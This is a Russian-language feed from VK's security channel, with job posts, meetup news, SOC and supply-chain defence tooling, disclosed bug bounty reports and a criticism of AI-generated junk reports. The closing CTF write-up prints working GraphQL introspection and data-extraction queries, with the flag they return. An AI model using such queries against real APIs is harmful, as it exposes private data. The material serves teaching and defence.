InfoSec VK Hub

Привет 👋 На связи Никита Галимов, руководитель команды безопасности Технического департамента VK. 🔹 Сейчас у нас открыта роль Архитектора информационной безопасности — человека, который умеет смотреть на систему целиком: от бизнес-рисков и модели угроз до DevOps-пайплайнов, сетевых политик, легаси и целевой архитектуры. Нужно разбираться в инфраструктуре «руками» — CI/CD, подписи артефактов, Kubernetes, сетевых логах — и уметь объяснять решения разработке, CTO и продукту на языке сроков, устойчивости и стоимости риска. О задачах рассказываю ниже, смотрите и откликайтесь на сайте. 🔹 Больше вакансий от моих коллег: 🔹AppSec AppSec-инженер AppSec-инженер в MAX AppSec-инженер в VK ID 🔹InfraSec: Эксперт по инфраструктурной безопасности Технический менеджер в MAX 🔹AI Security Специалист по безопасности Gen AI 🔹SOC Аналитик Threat Intelligence в MAX Аналитик SOC (L2) в MAX 🔹Antifraud Аналитик антифрода (L2) в MAX Аналитик антифрода (L3) в MAX 🔹 Контакт для связи: @nstslis VK Security | Буст этому каналу! #вакансии

Ого, что?! Вышел первый выпуск нашего подкаста «Спасибо за репорт» 🎧 Это проект VK Bug Bounty для багхантеров, а также для всех, кто формирует индустрию. Поговорим с топ-хантерами, командами bug bounty-платформ, вендорами и теми, кому не всё равно, как развивается поиск уязвимостей. Гость первого выпуска — Всеволод Кокорин aka Slonser. Разбираемся с ИИ-агентами в багхантинге без восторженных «они всё заменят» и без паники. Что уже работает, что лучше перепроверять три раза и почему хороший результат не получить без реальных знаний. Всеволод как раз из тех, кто разбирается в этом по-настоящему. Он эффективно применяет ИИ-агентов в реальных задачах и точно знает, где они ускоряют работу, а где им не стоит доверять. В выпуске: – как ИИ-агенты меняют поиск уязвимостей? – какие задачи можно отдавать агентам, а какие лучше оставить себе? – где агенты начинают галлюцинировать вместо того, чтобы искать баги? – от чего зависят аватарки Slonser'а? 🍿 Первый выпуск Ставьте лайк, шерьте друзьям, репостите в чатики — будет полезно всем, кто хочет использовать агентов точнее и получать на выходе качественные репорты. Пишите в комментариях: как вам запуск, кого позвать дальше и какие темы разобрать👇👇👇 VK Security | Буст этому каналу! #bugbounty #подкаст

🤖 Багхантинг + ИИ — это уже наша реальность Нейросети помогают автоматизировать рутину, ускоряют анализ, позволяют быстрее разбирать большие объёмы данных и искать нестандартные векторы. Мы сами видим много кейсов, где ИИ реально помогает хантерам усиливать свой подход. 🔹 Но есть и обратная сторона. За последние месяцы мы столкнулись с резким ростом количества сгенерированных отчётов. Речь не про единичные случаи, а буквально про десятки подобных репортов каждую неделю. Чаще всего это выглядит так: ▫️ агент генерирует набор «уязвимостей» по шаблону; ▫️ хантер не проверяет выводы вручную; ▫️ отчёт улетает в программу без PoC, без подтверждения импакта и без понимания, существует ли проблема вообще. Иногда это доходит до абсурда. Например: ▫️репорт с критической уязвимостью, где вместо развернутого отчета — скрины переписки с Deepseek и ссылка на чат, чтобы мы спросили, как уязвимость была найдена; ▫️пачки одинаковых репортов, которые выглядят страшно только на словах, но не приводят ни к какой атаке; ▫️«информативные» и невалидные отчеты, которые ИИ сам же не признаёт уязвимостями после простого уточняющего вопроса. Большой поток нейрослопа влияет на всю экосистему багбаунти: 🔹растёт время обработки отчётов; 🔹увеличивается бэклог; 🔹триаж тратит ресурсы на откровенный шум; 🔹 замедляются ответы даже на хорошие и критические находки. Есть и менее очевидная проблема — замыливается восприятие. Когда подряд смотришь десятки сгенерированных репортов без доказательств, к следующему отчёту автоматически появляется скепсис, даже если он валидный. Некоторые зарубежные программы и платформы уже начали вводить ограничения: 🔹 требования по репутации и signal score; 🔹 ограничения на отправку отчётов; 🔹 механики платной отправки High/Critical-репортов с возвратом средств за валидные находки; 🔹 внутренние AI-фильтры и автоматический триаж. 🔹 Мы тоже начали адаптировать процессы под новую реальность. За последний квартал мы обновили внутренние правила и усилили проверку подобных отчётов. В том числе протестировали механику промпт-инъекций против AI-агентов и вайбхантинга. 🔹 Опытные хантеры уже используют ИИ как инструмент для автоматизации рутины, для обработки больших объёмов данных, для ускорения хантинга, для генерации гипотез и поиска нестандартных цепочек. Проблема начинается тогда, когда AI полностью заменяет понимание атаки и ручную проверку — без понимания угрозы и знания уязвимостей не получится их находить даже с помощью ИИ. Некоторые слишком сильно доверяют этому и могут столкнуться с неприятными последствиями. Если уязвимость нельзя воспроизвести, объяснить и показать её влияние на безопасность — это невалидный отчёт. Даже если он красиво оформлен и наполнен красивыми и сложными терминами, которые сгенерировала нейросеть. Если AI-агент «нашёл», что на ресурсе есть компонент с уязвимой версией, что может привести к critical devtools xss injection, и вы это сдали — это тоже будет невалидным отчётом. Поэтому, если пользуетесь ИИ-агентами для поиска уязвимостей, перед отправкой репорта стоит задать простой вопрос: «Примут ли эту уязвимость в bug bounty?». Очень часто после этого вопроса агент сам отвечает: «Ты абсолютно прав, это не примут в bug bounty» 🔹 И, кстати, если вы пропустили — доклад Петра Уварова с митапа о том, почему не стоит слепо доверять ИИ и как триажеры разбирают потоки сгенерированных отчётов: 👉 Смотреть презентацию P.S. Следите за новостями канала! Совсем скоро стартуем с новым крутым проектом. Совсем скоро стартуем с новым проектом, в котором будем говорить о реальном опыте багхантеров. И, конечно, тема ИИ не останется без внимания! VK Security | Буст этому каналу! #bugbounty

Сегодня — о том, где на практике ломается привычное представление о защите данных в продуктовых компаниях. А именно: что происходит, когда требования закона сталкиваются с реальной архитектурой продукта. На уровне формулировок всё выглядит довольно просто: данные нужно хранить безопасно, ограничивать доступ, удалять по запросу, не передавать без оснований. Но как только это нужно реализовать в живой системе, появляется совсем другой уровень сложности. Потому что «персональные данные» внутри продукта — это не одна сущность. Это несколько хранилищ, аналитические витрины, антифрод-системы, интеграции с внешними сервисами, множество ролей и доступов. Требования понятны, а вот их реализация — это уже инженерная задача. 🔹 Типовой кейс Пользователь запрашивает удаление своих данных. Снаружи процесс выглядит линейно: запрос → обработка → удаление → ответ. Внутри всё значительно сложнее. К этому моменту данные уже могут: • разъехаться по разным сервисам; • использоваться в аналитике; • участвовать в антифроде; • лежать в резервных копиях; • быть переданными третьим сторонам. Если удалить всё без разбора — есть риск сломать продукт. Не удалить — нарушение требований законодательства. Как это решается на практике? Сначала нужно понять: • где обрабатываются данные; • как устроены процессы передачи и потоков данных; • как данные переиспользуются и обогащаются в процессах; • как организован процесс работы с данными, кто и как к ним имеет доступ. Дальше появляются инженерные решения: • где необходимо удаление; • где можно применить обезличивание; • где — ограничение доступа через роли и IDM; • где нужно изменить процессы обработки данных. И всё это — баланс между законом, архитектурой и бизнесом. 🔹 За рамками compliance На рынке часто функцию защиты данных закрывают через юридическую экспертизу. Это логично: регуляторика сложная, требования и штрафы растут, коммуникация с регуляторами критична. Но без технического слоя остаются слепые зоны, которые часто игнорируются при удалении: • реальные механики хранения данных и доступа к ним, • временные и файловые хранилища, • аналитические данные, • логи и технические журналы, • локальные доступы, • методы обезличивания, • движение данных между сервисами и третьими лицами, • каналы передачи данных, • поведение бэкапов, • процессы восстановления данных, • фактическое состояние данных после «удаления», • идентификаторы или совокупность/связка данных, по которым можно восстановить данные, • копии данных. 🔹 А как у нас? Традиционный подход — когда за защиту данных отвечают юристы, а инженеры «исполняют требования» — неизбежно приводит к разрыву между документацией и реальностью. Мы в VK выстраиваем защиту данных иначе: она изначально встроена в архитектуру и процессы разработки. Требования закона не появляются неожиданно на этапе релиза — они учитываются заранее, на этапе проектирования системы. Без встроенных инструментов даже прописанные политики и регламенты остаются просто бумагой. В VK реализованы инструменты для категорирования и маркировки данных, аудита доступов, ведения спецификаций, реестров и потоков данных, обезличивания и безопасной обработки данных при использовании AI. Это позволяет не просто «соблюдать законы», а сделать защиту данных прозрачной, измеримой и устойчивой к изменениям продукта. Как это выглядит на практике, покажем на примере одного из наших сервисов в будущих публикациях. Stay tuned! 😉 #эксперты #DPO VK Security | Буст этому каналу

Технологии безопасности Big Tech #8 ➡️ В 2024 году в одном из публичных репозиториев VK обнаружили уязвимость в GitHub Workflow: триггер pull_request запускал CI/CD-сценарий с правами и секретами базовой ветки, что позволяло внешнему исследователю получить привилегированный доступ — от слива секретов до подмены артефактов. Оперативная митигация проблему решила, но стало ясно: точечные правки не работают, нужен системный подход. Как именно команда ИБ провела аудит 57+ экшенов, категоризировала векторы атак, разработала харденинг, автоматизировала мониторинг и в итоге создала собственный сервис MGSA — в нашем новом видео рассказывает Владислав Верусь, старший инженер по безопасности инфраструктуры соцсетей VK. 🍿 Ссылка на видео А как в вашей компании организован аудит безопасности GitHub-репозиториев? VK Security | Буст этому каналу #эксперты #проект #mgsa

Как ускорить работу ИБ-команды и не утонуть в рутине 🪲 Большая часть работы ИБ — это не «охота за хакерами», а операционка: разбор задач, ревью кода, проверка релизов. Она тоже важна, но отнимает время у того, что действительно требует экспертизы специалиста. ИБ-команда RuStore сделала ставку на AI-автоматизацию, чтобы разгрузить команду и ускорить процессы. И не прогадала. Что внедрили: 🔹сервис для первичного ревью Security Check-задач 🔹AI Code Review для поиска типовых уязвимостей 🔹AI DAST — мультиагентную систему динамического тестирования Как это всё встраивали в процессы, какие ограничения встретили и какие результаты получили, рассказали на Хабре. 🔗 Читать #RuStore_Habr

Всем привет👋 Делимся отличным кейсом по AI-автоматизации от коллег из команды RuStore ⬇️⬇️⬇️

Добрый день, %bughunter_name% Благодарим вас за отчёт и вклад в безопасность VK 🔹 Основываясь на уровне угрозы и таблице вознаграждений в Q1 мы назначили выплаты в размере 40 000 000+ рублей. Эта сумма получилась так: 🔹 отчёты в количестве более 200 уязвимостей, а также действующий накопительный бонус VK Bounty Pass до 5% за каждый отчет. Ваш % Bounty Pass: информация доступна в личном кабинете по адресу: https://bugbounty.vk.company.ru С уважением, VK 💙 VK Security | Буст этому каналу! #bugbounty #bountypass

В новом посте Тимур Лутфуллин, руководитель дежурных смен L1 в SOC, расскажет о том, как его команда перестала тонуть в потоке алертов. Десятки инцидентов в час, работа в разных системах, долгие расследования и лишние коммуникации — с этими вызовами знаком каждый, кто работает в дежурной смене. В материале — опыт внедрения ML в процессы, который изменил подход к обработке инцидентов и освободил время аналитиков. 🔹Наша команда работает 24/7, и нагрузка постоянно растёт: в пиковые периоды поток алертов идёт почти непрерывно, среднее число — десятки в час. Главные болевые точки были типичными: аналитик тратит время на переключение между разными системами: логи, доступы, обогащение, процесс расследования не стандартизирован, сложные кейсы затягиваются. Взаимодействие со смежными командами, например, антифродом, требует лишних коммуникаций; пользовательские подтверждения действий — боты-опросники — создают дополнительный шум. 🔹Чтобы решить эти проблемы, мы сделали ставку на SOAR-систему, которая позволила аналитику работать в едином окне. К нам приходят алерты, сразу обогащаются, и из этого же интерфейса можно проводить реагирование. 🔹Никаких копирований и поиска по разным вкладкам: вся информация о хосте, возможность проверить хэш, связаться с сотрудником в мессенджере или создать задачу в системе тикетинга — всё в одной карточке. 🔹Для ускорения расследования мы добавили встроенные плейбуки и подсказки от внутренней LLM. Нейросеть прямо в карточке алерта даёт описание события на понятном языке и предлагает вердикт. Так аналитик быстрее понимает контекст, особенно в сложных или объёмных срабатываниях. 🔹Следующий шаг — обучение ML-модели на наших данных. Мы отдаём ей все алерты, чтобы она обогащала новые срабатывания информацией из внутренних систем —должность сотрудника, история аналогичных событий — и помогала с предварительным вердиктом. Модель уже используется в нашем боте для подтверждения команд: если пользователь ранее запускал безопасные команды на хосте, ML это запомнит и больше не будет задавать вопросов, сокращая лишние взаимодействия. 🔹Отдельно автоматизировали взаимодействие с антифродом. Раньше приходилось вручную оформлять алерты и ждать ответа. Теперь из SOAR алерт автоматически уходит в общий чат с кнопками «True Positive» / «False Positive», коллеги ставят вердикт, и он возвращается обратно в SOAR — всё закрывается без лишних движений. 🔹Что это дало: 🔹Время жизни алерта — от прихода до полного расследования — сократилось и вышло на стабильные показатели даже при пиковых нагрузках. 🔹Аналитик работает в едином окне, не отвлекаясь на смежные системы. 🔹Реагирование стало унифицированным. Многие действия: блокировка хоста, антивирусная проверка, создание инцидента — выполняются прямо из карточки алерта по нажатию кнопки. 🔹Cнизилось количество ложных срабатываний и ручных подтверждений. 🔹Взаимодействие со смежными подразделениями переведено в автоматический режим — время согласования сократилось с часов до минут. Конечно, автоматизация не делается раз и навсегда. Мы постоянно дорабатываем правила, обучаем модели и расширяем возможности SOAR. Но полученный результат — наглядный пример того, как грамотное внедрение инструментов и пересмотр процессов помогает команде справляться с растущим потоком событий без потери качества. #SOC #эксперты #разбор VK Security | Буст этому каналу!

Пошумели на VK Security Confab: BB edition 🤟     Вчера было так: приходишь на митап, а вокруг — свои. Кто-то давно знаком, кто-то наконец встретился лично после долгого общения в чатиках, а кто-то только познакомился — но сразу нашёл общие темы для разговоров.     О чем говорили:     🔹Петр Уваров открыл митап докладом о том, почему не стоит слепо доверять ИИ и как триажеры разбирают потоки сгенерированных отчетов. Добавил живых примеров и даже мемчиков для наглядности. 🔹Заур Заубаев выступил с историей создания HackAdvisor — платформы, созданной хакером для хакеров, которая помогает обеим сторонам и борется за справедливость. 🔹Павел Никитин поделился инсайтами, как системно смотреть на большой технологический продукт и не бояться искать там уязвимости. 🔹Завершал митап Всеволод Кокорин — продолжил тему ИИ, рассказал, как AI стал незаменимым помощником в хантинге, поделился своим успешным опытом и забрал победу в голосовании за лучший доклад. 📎 Презентации спикеров     Мы получили больше 400 заявок на участие! В этот раз зал еле-еле вместил всех, кто пришёл. Вызов принят: в следующий раз будем искать площадку побольше 🙌      Спасибо, что пришли и сделали этот вечер таким невероятным! Было очень круто🔹 Расскажите, а вам как?👇

Продолжаем разговор об инструментах Security Gate. Если SG Malware Protector защищает нас от уже попавших в экосистему вредоносов, то второй сервис — SG Fast Scanner — создан для быстрого сканирования Merge Request’ов, чтобы не допустить появления новых проблем. 🔹Ранее существовала следующая проблема: разработчик вливает merge request, содержащий, например, уязвимую зависимость. Мы узнаём об этом уже после того, как код попал в основную ветку, и начинается долгий цикл исправления — выпуск патча, новый MR. Схема работала, но создавала временной лаг и требовала эскалаций. 🔹В настоящее время процесс выглядит иначе: инструмент SG Fast Scanner анализирует изменения в коде непосредственно в момент создания merge request. Он выявляет открытые секреты, уязвимые зависимости и различные проблемы через SAST, после чего автоматически оставляет в MR комментарий с предупреждением. Разработчик может исправить проблему сразу, не покидая интерфейс, благодаря чему в основную ветку попадает только безопасный код. 🔹Визуально это выглядит следующим образом: в интерфейсе GitLab появляется комментарий с перечнем обнаруженных проблем — будь то SAST-предупреждения, секреты или уязвимые библиотеки. Интеграция выполняется через настройки интерфейса, без необходимости открывать консоль. Можно даже настроить блокировку вливания небезопасных MR. Что мы получили в итоге? 🔹Уязвимости находят и устраняют до попадания в основную ветку. 🔹Разработчики видят проблемы в своём коде сразу. 🔹Среднее время сканирования MR — чуть больше 21 секунды. 🔹Подключение занимает до 10 минут целыми группами. 🔹Реализован сбор новых зависимостей в единую систему инвентаризации для оперативного реагирования на критические уязвимости 🔹Постоянное улучшение UX на основе обратной связи. А планы у нас ещё амбициознее: ▫️интеграция с Security Gate для просмотра сработок прямо в интерфейсе; ▫️плагин для IDE на основе того же API; ▫️автофикс некоторых проблем с помощью LLM; ▫️подключение всех репозиториев GitLab через глобальные хуки, что исключает необходимость настройки для каждого проекта в отдельности. 📱Нам удалось решить проблему каскадных обновлений уязвимых зависимостей. Ранее нередко возникала ситуация, когда рекомендуемая для исправления версия сама содержала новые уязвимости. Из-за этого приходилось проходить повторный цикл обновлений — и так до тех пор, пока не находилась действительно безопасная версия. Теперь Security Gate работает иначе. Инструмент собирает информацию обо всех известных уязвимостях и обо всех доступных версиях зависимости. На основе этих данных формируется конечный перечень безопасных версий, не имеющих уязвимостей. VK Security | Буст этому каналу! #технологии #appsec #devsecops #VKSecurityGate

🎉 Результаты розыгрыша: 🏆 Победители: 1. katok (@katok) 2. 🐯 (@seller_air) 3. Илья (@mihailovily) 4. RS (@ReliableSecurity) 5. 󠇿 󠇿 (@chalkbutter) 6. 𝙫𝙖𝙣𝙚𝙨𝙝𝙞𝙠 (@vaneshik) 7. Jura S. (@devstout) 8. Constantine 🎲 (@DETROITP7AY3R5) 9. ia 10. Ekelen (@Ekelen) ✔️Проверить результаты

Привет! 👋 Март постепенно входит в свои права, радуя солнцем и тающим снегом, а багхантеры радуются приближению нашего первого в этом году митапа — VK Security Confab: Bug Bounty edition! 🔹 Уже в этот четверг встречаемся в московском офисе VK! Обратите внимание, если вы не нашли подтверждение регистрации во «Входящих», оно могло попасть в «Спам». Регистрация закроется сегодня в 15:00. 👉 Зарегистрироваться P.S. Не переключайтесь: сегодня в 12:00 опубликуем имена тех, кто выиграл экскурсию по офису. Если увидите себя в списке — ждите сообщения от нас в личке 😉

Всем привет! Давайте сегодня поговорим о важной теме — что делать, если другие open-source проекты не успели защититься и уже оказались взломаны? Как нам действовать в такой ситуации? У нас для этого в Security Gate появилось два сервиса, и сегодня я расскажу о них подробно. 👉 Первый — это SG Malware Protector. Важно понимать разницу между обычной уязвимостью и malware. Уязвимость — это ошибка в коде, которую можно использовать. Malware — это целенаправленное вредоносное действие. Его встраивают в зависимости для кражи данных, создания бэкдоров или шифрования файлов. Такая угроза может пройти весь путь от компьютера разработчика до продакшена. В случае, если вы используете проксирующий сервис – то malware зависимость останется в ней, даже после удаления из публичного регистра. 🔹В этом году было несколько заметных атак. Одна из них — Shai Hulud, червь для кражи секретов. Злоумышленники скомпрометировали популярные библиотеки, встроив в их код вредоносный компонент червя, который с помощью сканера секретов TruffleHog извлекал секреты и публиковал их на GitHub. А если находил npm-токены — начинал выпускать новые версии легитимных пакетов, но уже с тем же вредоносом. Результат — экспоненциальный рост заражений: более 25 000 репозиториев за первые 72 часа, по 2000 новых заражений в час на пике и около 14 000 утекших секретов. Червя можно было даже отследить по маске названий репозиториев на GitHub, куда он всё складывал. В нашей практике был случай, когда через заражённый пакет скомпрометировались секреты сотрудника — пришлось проводить форензику, ротировать ключи. 🔹Другой пример — компрометация популярных фронтенд-библиотек, таких как debug, chalk, ansi-styles. Через социальную инженерию злоумышленники получили доступ к аккаунту в npm и загрузили вредоносные версии. Эти пакеты крали криптокошельки из браузеров пользователей. Суммарная загрузка данных пакетов из NPM превышает 1 млрд в неделю. 🔹Рост подобных атак составляет около 250% в год, поэтому нужны эффективные меры. Для этого и был создан SG Malware Protector. Он автоматически отслеживает новые источники информации о malware, находит угрозы в нашем Nexus и блокирует их. Также он ищет использование вредоносных зависимостей в проектах компании через инвентаризатор зависимостей Security Gate. Поддерживаются npm, Maven, PyPI, Go, NuGet. Мы внедрили ежедневное дежурство для отслеживания новых угроз. Security Gate сканирует репозитории, а SG Malware Protector проверяет инвентаризатор и корпоративный Nexus. Мы уже подключили кастомный Nexus для RuStore. В результате мы заблокировали 220 000 вредоносных зависимостей. Среднее количество новых malware-угроз в неделю — 202. Поиск по 70 000 фидам занимает менее часа по всем источникам. Наши планы по развитию: 🔹Карантин для новых пакетов: будем отстаивать свежие версии, так как среднее время выявления malware в пакете — около 5 дней. 🔹 Расширение покрытия: подключение большего количества Nexus-репозиториев. 🔹Malware byte search: сигнатурный анализ самих артефактов. 🔹Быстрая инвентаризация: В Security Gate она занимает пару дней, что для опасных зависимостей всё ещё долго. И здесь мы плавно переходим ко второму сервису, который как раз помогает закрыть вопрос скорости и не пропускать угрозы на самых ранних этапах. О нём расскажу подробнее в следующем посте. Не переключайтесь! VK Security | Буст этому каналу! #технологии #appsec #devsecops #VKSecurityGate

VK Security Confab для: Bug Bounty edition — уже 19 марта 🔥 Соберёмся офлайн, чтобы обсудить: как ИИ меняет поиск багов, зачем нужны агрегаторы багбаунти и где искать миллионы в цифровых продуктах. В программе: 🔹Пётр Уваров, VK: про LLM в багхантинге и триаже, а также к чему всё может прийти. 🔹Заурбаев Заур, багхантер: как история одного спора привела к созданию платформы-агрегатора баг баунти программ. 🔹Павел Никитин, VK: взгляд на большой цифровой продукт изнутри — MAX. 🔹Всеволод Кокорин aka Slonser: доклад о применениях ИИ-агентов для багхантинга. И это еще не всё! Разыгрываем 10 мест на экскурсию по обновлённому офису VK 🔥 Условия: 🤩 Подписка на канал 🤩 Регистрация на митап 🤩 Кнопка «Участвую!» под постом Итоги — 17 марта. 👉 Зарегистрироваться VK Security | Буст этому каналу #confab #митап #bugbounty

Передали канал на время нашему HR-специалисту @lisenkova_a, чтобы она рассказала о свежих вакансиях в ИБ VK:

— Всем привет! Меня зовут Настя, я собрала для вас список актуальных вакансий в Москве! У нас много интересных задач — от защиты высоконагруженных сервисов до расследования сложных инцидентов. Жду ваши резюме!

Инженер ИБ Опыт от 5 лет: администрирование СЗИ, автоматизация (Python/Bash), знание Windows и сетей. 👉 Смотреть AppSec-инженер в MAX Внедрение SDLC, code review, пентесты веб-приложений/API. Опыт от 2 лет, знание OWASP, умение читать код (Python/Go/Java/JavaScript). 👉 Смотреть Аналитик SOC Реагирование на инциденты, разработка правил детектирования, проактивный поиск угроз. Глубокое знание ОС, сетей, SIEM/SOAR. Для L3 — опыт с Git, сертификации приветствуются. 👉 L2 👉 L3 Аналитик антифрода (L2/L3, MAX) Расследование фрод-схем, выявление бот-сетей, работа с большими данными (SQL, дашборды). L3: калибровка правил, ML, взаимодействие с продуктовыми командами. 👉 L2 👉 L3 Data Protection & Governance Engineer (MAX) Гибридная роль: трансляция 152-ФЗ в технические требования, data mapping, аудит систем. Знание SQL, Data Discovery, ELK, Privacy by Design. 👉 Смотреть Ведущий инженер доступности в команду SOC Развитие пайплайнов логов (Vector/Logstash, Elasticsearch/OpenSearch), настройка CI/CD, Docker, работа с БД (PostgreSQL, ClickHouse, Kafka) и дашбордами Grafana. 👉 Смотреть

Если остались вопросы, пишите в комментариях или в личку. Буду на связи!

Контакт для связи: @lisenkova_a VK Security | Буст этому каналу! #вакансии

Всем привет! Продолжаем практику раскрытия отчётов от багхантеров! В этой подборке — находки, которые объединяет внимательность к деталям: нестабильная XSS, инъекция через SVG и тайминг-атака на странице восстановления аккаунта. Нестабильная XSS На сайте lady․mail․ru в параметре поиска q обнаружилась Reflected XSS, которая срабатывала не с первого раза. Но даже такая уязвимость не теряет актуальности: при повторных запросах код выполняется, а значит, злоумышленник может украсть куки или сессии. Уязвимость затрагивала несколько поддоменов: ▫️tv․mail․ru; ▫️health․mail․ru; ▫️deti․mail․ru; но фикс был в одном месте. 🔹 Ссылка на отчет XSS через SVG В параметре query на otvet․mail․ru сработала инъекция через вложенные теги <svg>+<style>+<img>. После перехода по ссылке вредоносный код внедрялся в посты пользователей и выполнялся, оставаясь незаметным в URL. 🔹 Ссылка на отчет Тайминг-атака на восстановление аккаунта VK ID На странице id․vk․com/restore время ответа сервера отличалось для валидного и невалидного номера телефона (≈160 мс против ≈120 мс). Разница позволила написать скрипт для перебора номеров со скоростью 670 запросов в секунду — весь диапазон российских номеров можно было подобрать за короткое время. 🔹 Ссылка на отчет Это только начало — мы будем и дальше выкладывать отчёты, так что следите за обновлениями! 🔹 Обсудить репорты вживую, поспорить с коллегами и задать вопросы экспертам VK? Легко! 19 марта на VK Security Confab! Зарегистрироваться VK Security | Буст этому каналу! #bugbounty #разборы #confab

Привет! Меня зовут Владислав Верусь, я из команды инфраструктурной безопасности. Хочу рассказать кейс: один инцидент заставил нас полностью пересмотреть подход к GitHub — и в итоге привел к созданию собственной платформы для аудита безопасности. Всё началось с отчёта от багхантера. В одном из наших публичных репозиториев на GitHub была опасная настройка: использовался триггер pull_request_target. Если кратко, он позволял коду из внешнего Pull Request запускаться с правами основной ветки — со всеми секретами и доступом.

Злоумышленник мог бы украсть токены, подменить процесс сборки или даже захватить репозиторий. К счастью, хакер действовал добросовестно и просто показал уязвимость.

Когда мы разбирали ситуацию, то поняли главное: проблема была не в одной настройке. У нас не было целостной картины. Мы не знали полного списка репозиториев, не отслеживали используемые сторонние скрипты и не имели системы мониторинга для таких рисков. Мы решили не просто латать дыры, а выстроить полноценный процесс. Так появился внутренний проект — Mega GitHub Security Automation (MGSA). Мы прошли несколько ключевых этапов: 1️⃣Инвентаризация и контроль Actions. Мы нашли и проанализировали все сторонние скрипты в репозиториях (57 штук) и ввели «белый список». Теперь любой новый Action можно добавить только через запрос с согласованием безопасности. 2️⃣Харденинг. Мы написали подробное руководство по безопасности для репозиториев. Оно включает настройки доступа, защиту веток, обязательное использование Dependabot для обновлений и Secret Scanning для поиска утечек токенов. 3️⃣Автоматизация проверок. Чтобы стандарт работал, мы написали скрипты для сбора данных и мониторинга. Они показывали, какие репозитории отклоняются от правил. Это дало нам первую видимость. Что это дало: • Контроль над тем, какой код выполняется в наших CI/CD процессах. • Понимание рисков и чек-лист для оценки новых настроек. • Единые правила для всех команд, кто работает с GitHub. Но на этом мы не остановились. Со временем старая система, построенная на скриптах, перестала справляться с ростом числа проектов и новых требований. Мы пересобрали наш проект в MGSA — платформу с веб-интерфейсом. Теперь вместо сложных отчётов есть наглядный дашборд. В нём видно: 🔹Все репозитории и их статус безопасности. 🔹Конкретные проблемы с ссылками на правила. 🔹Возможность запустить проверку любого репозитория по запросу. Это сделало работу и для нас, и для разработчиков гораздо проще и прозрачнее. Что будет дальше? Сейчас мы развиваем MGSA в трёх направлениях: ▫️Масштабирование. Подключаем репозитории новых команд и проектов. Мы хотим, чтобы платформа работала не только с GitHub, но и с нашим внутренним GitLab, став единым центром аудита для всех Git-платформ. ▫️Интеграция. Планируем связать её с другими системами безопасности, например, для статического анализа кода (SAST), чтобы видеть полную картину по каждому проекту. Мы прошли от реакции на одну уязвимость до построения проактивной системы, которая помогает предотвращать проблемы на раннем этапе. Главные выводы: нужны чёткие правила, автоматизация их проверки и, что важно, — удобный инструмент, который позволяет всем участникам процесса видеть общую картину. VK Security | Буст этому каналу #эксперты #проект #mgsa

Сезон VK Security Confab 2026 объявляем открытым! И первая встреча — Bug Bounty Edition. Когда: 19 марта Где: Москва, БЦ SkyLight Есть крутой кейс, полезный лайфхак или история, которыми стоит поделиться с коммьюнити? Приходите выступать! Ждем ваши заявки до 26 февраля. 🔹Хочу выступить! VK Security | Буст этому каналу #confab #митап #bugbounty

Всем привет! А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой... Persik ICO Writeup

category: web, points: 400 Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен! Достаньте любой eligible-адрес и заберите флаг После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.

Проверим включена ли introspection:

query { __schema { types { name kind fields { name type { name kind } } } } }

Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:

query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }

Выберем любой адрес и передадим его в checkAirdrop:

query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } } И получим флаг: {   "data": {     "checkAirdrop": {       "address": "0x8ba1f109551bD432803012645aac136c22C19e00",       "tokensClaimed": 3000,       "airdropEligible": true,       "flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"     }   } }

Опционально можно было использовать адрес администратора из admin query:

query AdminInfo { admin { secretKey vaultAddr } }

На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах. Предыдущие разборы серии: 1 часть 2 часть 3 часть VK Security | Буст этому каналу #разбор #CTF